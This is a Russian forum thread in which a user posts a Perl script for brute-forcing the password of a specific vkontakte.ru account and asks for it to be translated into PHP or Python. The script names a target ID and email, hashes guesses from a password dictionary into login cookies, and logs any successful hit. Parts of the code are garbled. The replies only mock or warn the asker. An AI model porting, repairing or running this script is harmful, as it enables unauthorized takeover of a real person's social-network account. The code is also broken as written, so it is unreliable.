Из perl to php or python

Автор_темы Автор_темы

Use IO: Socket;
use MD5;
use threads;
use threads: shared;
my @pass: shared;

###
# C! KlodoL
# vkontakte.ru bruteforce with multi-threads
###
$dic = '1.txt'; #словарь паролей
$id = 37917395; #id цели
$mail = 'ti.polnaya%40gmail.com'; #мыло, вместо @ вписать %40
$threads = 1; #количество потоков
###

open (pass, "<$dic");

Next:
@pass = pass();

for(0.$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO: Socket:INET->new(Proto=>'tcp', PeerAddr=>'vkontakte.ru', PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Нужно перевести в пхп, или питон
Дополнено (1). Для perl нужно много доп. Модулей и установка хз. Какая. А вот php and python поставились за пару минут. Я прошу перевести код, а не обсуждать его.

Nxaj Nxaj

Кулхацкеров тут не любят

VIRT VIRT

Если собрались бутфорсить пароли, то извольте почитать надлежащую литературу,
а то во взломщики записались, а "выучить програмить" забыли

Arrim Arrim

А вот за такое по головке не погладят. Да и почему бы просто не запускать перловку?

Добавить комментарий | Похожие обсуждения

Вопросы и ответы по Вконтакте
Вопросы и ответы

Популярные вопросы и ответы о социальной сети www.vkontakte.ru (vk.com)